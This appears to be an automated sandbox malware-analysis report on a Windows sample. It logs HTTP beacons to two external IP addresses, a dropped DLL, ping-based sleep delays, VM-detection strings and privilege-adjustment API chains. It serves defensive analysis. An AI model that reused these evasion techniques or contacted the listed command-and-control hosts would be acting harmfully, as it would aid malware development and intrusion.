Source: unknown	Network traffic detected: HTTP traffic on port 57220 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 58813 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 58979 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 60535 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 60620 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 62221 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 62240 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 64094 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 64295 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49297 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49302 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51032 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51043 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51600 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51644 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 52531 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 52742 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 54225 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 54301 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 56134 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 56227 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 57709 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 57840 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 59956 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 59963 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 60164 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 60300 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 61430 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 61535 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 63248 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 63325 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 65122 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 65178 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50596 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50672 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 52408 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 52411 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 53875 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 53961 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 54837 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 54958 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 55703 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 55711 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 57677 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 58094 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 59142 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 59184 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 60763 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 60899 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 62496 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 62586 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 64241 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 64312 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 65063 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 65171 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50909 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50940 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 52883 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 53079 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 54632 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 54647 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 56499 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 56578 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 57853 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 57918 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 59080 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 59082 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 60079 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 60227 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 61240 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 61332 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 62610 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 62613 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 64462 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 64627 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49506 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49593 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50611 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50767 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51437 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51444 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 53248 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 53345 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 54800 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 54887 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 56382 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 56402 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 57106 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 57159 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 58391 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 58418 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 59860 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 59960 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 62038 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 62150 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 63631 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 63702 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 64439 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 64580 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 65394 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 65425 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50784 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50786 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51537 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51675 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 52558 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 52693 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 53852 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 53858 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 55592 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 55780 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 57024 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 57172 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 58942 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 58949 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 59852 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 60003 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 60904 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 60937 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 62256 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 62272 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 64270 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 64406 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 64546 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 64711 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 64868 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 64990 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 65101 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 65168 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 65253 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 65425 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 65528 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 65533 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49186 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49188 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49191 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49353 -> 12354

Source: C:\Users\user\Desktop\otsIBG7J9b.exe	Code function: 0_2_00401DE0 IsIconic,SendMessageA,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetClientRect,DrawIcon,		0_2_00401DE0
Source: C:\ufcpp.exe	Code function: 4_2_00401DE0 IsIconic,SendMessageA,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetClientRect,DrawIcon,		4_2_00401DE0

Source: C:\Users\user\Desktop\otsIBG7J9b.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\otsIBG7J9b.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\otsIBG7J9b.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ufcpp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ufcpp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ufcpp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking mutex)

Source: C:\Windows\SysWOW64\rundll32.exe

Evasive API call chain: CreateMutex,DecisionNodes,Sleep

graph_5-6126

Uses ping.exe to sleep

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 3
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 3
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 3	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 3

Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 300000	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 3600000	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 300000	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe	Window / User API: threadDelayed 547	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Window / User API: threadDelayed 1277	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Window / User API: threadDelayed 5080	Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

Decision node followed by non-executed suspicious API: DecisionNode, Non Executed (send or recv or WinExec)

graph_5-6215

Source: C:\ufcpp.exe

Dropped PE file which has not been started: C:\agtve\yhnvs.dll

Jump to dropped file

Source: C:\Windows\SysWOW64\rundll32.exe TID: 5548	Thread sleep count: 547 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe TID: 5548	Thread sleep time: -5470000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe TID: 6096	Thread sleep count: 84 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe TID: 3848	Thread sleep time: -3000000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe TID: 2492	Thread sleep time: -1800000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe TID: 6860	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe TID: 6860	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe TID: 2692	Thread sleep count: 1277 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe TID: 2692	Thread sleep time: -383100000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe TID: 1780	Thread sleep time: -900000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe TID: 6036	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe TID: 6600	Thread sleep time: -7200000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe TID: 2692	Thread sleep count: 5080 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe TID: 2692	Thread sleep time: -1524000000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe TID: 6860	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\PING.EXE	Last function: Thread delayed
Source: C:\Windows\SysWOW64\PING.EXE	Last function: Thread delayed
Source: C:\Windows\SysWOW64\PING.EXE	Last function: Thread delayed

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_1000B0A0 lstrcpy,lstrcat,lstrcat,lstrcat,FindFirstFileA,FindNextFileA,rand,lstrcpy,lstrcat,lstrcat,_strcmpi,GetTickCount,srand,rand,rand,rand,rand,rand,rand,rand,rand,wsprintfA,wsprintfA,Sleep,wsprintfA,Sleep,strchr,strchr,strchr,strchr,atoi,DeleteFileA,Sleep,lstrcat,FindNextFileA,FindClose,		5_2_1000B0A0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_100052A0 FindFirstFileA,wsprintfA,wsprintfA,FindNextFileA,FindClose,		5_2_100052A0

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 5_2_10006090 strrchr,strncpy,strncpy,strncpy,GetSystemInfo,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,CloseHandle,sscanf,

5_2_10006090

Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 60000	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 300000	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 3600000	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 300000	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\UIThemes\	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\	Jump to behavior

Source: rundll32.exe, 00000005.00000002.4132116353.0000000002D7B000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: s\Applications\\VMwareHo
Source: rundll32.exe, 00000005.00000002.4132279546.000000000321D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWrosoft\input\ar-KW\.
Source: rundll32.exe, 00000005.00000002.4132279546.00000000032C6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: rundll32.exe, 00000005.00000002.4132279546.000000000321D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW(

Source: C:\Users\user\Desktop\otsIBG7J9b.exe	API call chain: ExitProcess graph end node	graph_0-1359
Source: C:\ufcpp.exe	API call chain: ExitProcess graph end node	graph_4-1555
Source: C:\Windows\SysWOW64\rundll32.exe	API call chain: ExitProcess graph end node	graph_5-5399

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 5_2_10021806 VirtualProtect 003CB200,00000200,10021770,10021517,?,10021770,00000000,10021517

5_2_10021806

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 5_2_100051B0 LoadLibraryA,GetProcAddress,GetExtendedUdpTable,malloc,GetExtendedUdpTable,Sleep,htons,free,FreeLibrary,

5_2_100051B0

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 202.108.0.52 80			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 107.163.241.232 12354			Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\ufcpp.exe c:\ufcpp.exe "C:\Users\user\Desktop\otsIBG7J9b.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 3	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 3

Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
